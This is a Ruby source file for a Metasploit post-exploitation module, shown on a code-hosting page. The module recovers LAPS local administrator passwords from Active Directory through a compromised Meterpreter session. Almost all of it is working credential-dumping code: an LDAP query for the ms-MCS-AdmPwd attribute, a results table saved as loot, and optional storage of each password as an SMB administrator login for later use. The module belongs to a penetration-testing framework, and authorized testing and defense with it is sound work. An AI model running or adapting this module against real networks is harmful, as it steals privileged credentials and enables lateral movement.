Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/windows/gather/credentials/enum_laps.rb
23708 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Post
7
include Msf::Auxiliary::Report
8
include Msf::Post::Windows::LDAP
9
10
FIELDS = [
11
'distinguishedName',
12
'dNSHostName',
13
'ms-MCS-AdmPwd',
14
'ms-MCS-AdmPwdExpirationTime'
15
].freeze
16
17
def initialize(info = {})
18
super(
19
update_info(
20
info,
21
'Name' => 'Windows Gather Credentials Local Administrator Password Solution',
22
'Description' => %q{
23
This module will recover the LAPS (Local Administrator Password Solution) passwords,
24
configured in Active Directory, which is usually only accessible by privileged users.
25
Note that the local administrator account name is not stored in Active Directory,
26
so it is assumed to be 'Administrator' by default.
27
},
28
'License' => MSF_LICENSE,
29
'Author' => [
30
'Ben Campbell',
31
],
32
'Platform' => [ 'win' ],
33
'SessionTypes' => [ 'meterpreter' ],
34
'Notes' => {
35
'Stability' => [CRASH_SAFE],
36
'SideEffects' => [],
37
'Reliability' => []
38
},
39
'Compat' => {
40
'Meterpreter' => {
41
'Commands' => %w[
42
stdapi_net_resolve_hosts
43
]
44
}
45
},
46
'References' => [
47
[ 'ATT&CK', Mitre::Attack::Technique::T1003_OS_CREDENTIAL_DUMPING ]
48
]
49
)
50
)
51
52
register_options([
53
OptString.new('LOCAL_ADMIN_NAME', [true, 'The username to store the password against', 'Administrator']),
54
OptBool.new('STORE_DB', [true, 'Store file in loot.', false]),
55
OptBool.new('STORE_LOOT', [true, 'Store file in loot.', true]),
56
OptString.new('FILTER', [true, 'Search filter.', '(&(objectCategory=Computer)(ms-MCS-AdmPwd=*))'])
57
])
58
59
deregister_options('FIELDS')
60
end
61
62
def run
63
search_filter = datastore['FILTER']
64
max_search = datastore['MAX_SEARCH']
65
66
begin
67
q = query(search_filter, max_search, FIELDS)
68
rescue ::RuntimeError, ::Rex::Post::Meterpreter::RequestError => e
69
print_error(e.message)
70
return
71
end
72
73
if q.nil? || q[:results].empty?
74
print_status('No results returned.')
75
else
76
print_status('Parsing results...')
77
results_table = parse_results(q[:results])
78
print_line results_table.to_s
79
80
if datastore['STORE_LOOT']
81
stored_path = store_loot('laps.passwords', 'text/plain', session, results_table.to_csv)
82
print_good("Results saved to: #{stored_path}")
83
end
84
end
85
end
86
87
# Takes the results of LDAP query, parses them into a table
88
# and records and usernames as {Metasploit::Credential::Core}s in
89
# the database if datastore option STORE_DB is true.
90
#
91
# @param results [Array<Array<Hash>>] The LDAP query results to parse
92
# @return [Rex::Text::Table] the table containing all the result data
93
def parse_results(results)
94
laps_results = []
95
# Results table holds raw string data
96
results_table = Rex::Text::Table.new(
97
'Header' => 'Local Administrator Password Solution (LAPS) Results',
98
'Indent' => 1,
99
'SortIndex' => -1,
100
'Columns' => FIELDS
101
)
102
103
results.each do |result|
104
row = []
105
106
result.each do |field|
107
if field.nil?
108
row << ''
109
else
110
if field[:type] == :number
111
value = convert_windows_nt_time_format(field[:value])
112
else
113
value = field[:value]
114
end
115
row << value
116
end
117
end
118
119
hostname = result[FIELDS.index('dNSHostName')][:value].downcase
120
password = result[FIELDS.index('ms-MCS-AdmPwd')][:value]
121
dn = result[FIELDS.index('distinguishedName')][:value]
122
expiration = convert_windows_nt_time_format(result[FIELDS.index('ms-MCS-AdmPwdExpirationTime')][:value])
123
124
next if password.to_s.empty?
125
126
results_table << row
127
laps_results << {
128
hostname: hostname,
129
password: password,
130
dn: dn,
131
expiration: expiration
132
}
133
end
134
135
if datastore['STORE_DB']
136
print_status('Resolving IP addresses...')
137
hosts = []
138
laps_results.each do |h|
139
hosts << h[:hostname]
140
end
141
142
resolve_results = client.net.resolve.resolve_hosts(hosts)
143
144
# Match each IP to a host...
145
resolve_results.each do |r|
146
l = laps_results.find { |laps| laps[:hostname] == r[:hostname] }
147
l[:ip] = r[:ip]
148
end
149
150
laps_results.each do |r|
151
next if r[:ip].to_s.empty?
152
next if r[:password].to_s.empty?
153
154
store_creds(datastore['LOCAL_ADMIN_NAME'], r[:password], r[:ip])
155
end
156
end
157
158
results_table
159
end
160
161
def store_creds(username, password, ip)
162
service_data = {
163
address: ip,
164
port: 445,
165
service_name: 'smb',
166
protocol: 'tcp',
167
workspace_id: myworkspace_id
168
}
169
170
credential_data = {
171
origin_type: :session,
172
session_id: session_db_id,
173
post_reference_name: refname,
174
username: username,
175
private_data: password,
176
private_type: :password
177
}
178
179
credential_data.merge!(service_data)
180
181
# Create the Metasploit::Credential::Core object
182
credential_core = create_credential(credential_data)
183
184
# Assemble the options hash for creating the Metasploit::Credential::Login object
185
login_data = {
186
core: credential_core,
187
access_level: 'Administrator',
188
status: Metasploit::Model::Login::Status::UNTRIED
189
}
190
191
# Merge in the service data and create our Login
192
login_data.merge!(service_data)
193
create_credential_login(login_data)
194
end
195
196
# https://gist.github.com/nowhereman/189111
197
def convert_windows_nt_time_format(windows_time)
198
unix_time = windows_time.to_i / 10000000 - 11644473600
199
ruby_time = Time.at(unix_time)
200
ruby_time.strftime('%d/%m/%Y %H:%M:%S GMT %z')
201
end
202
end
203
204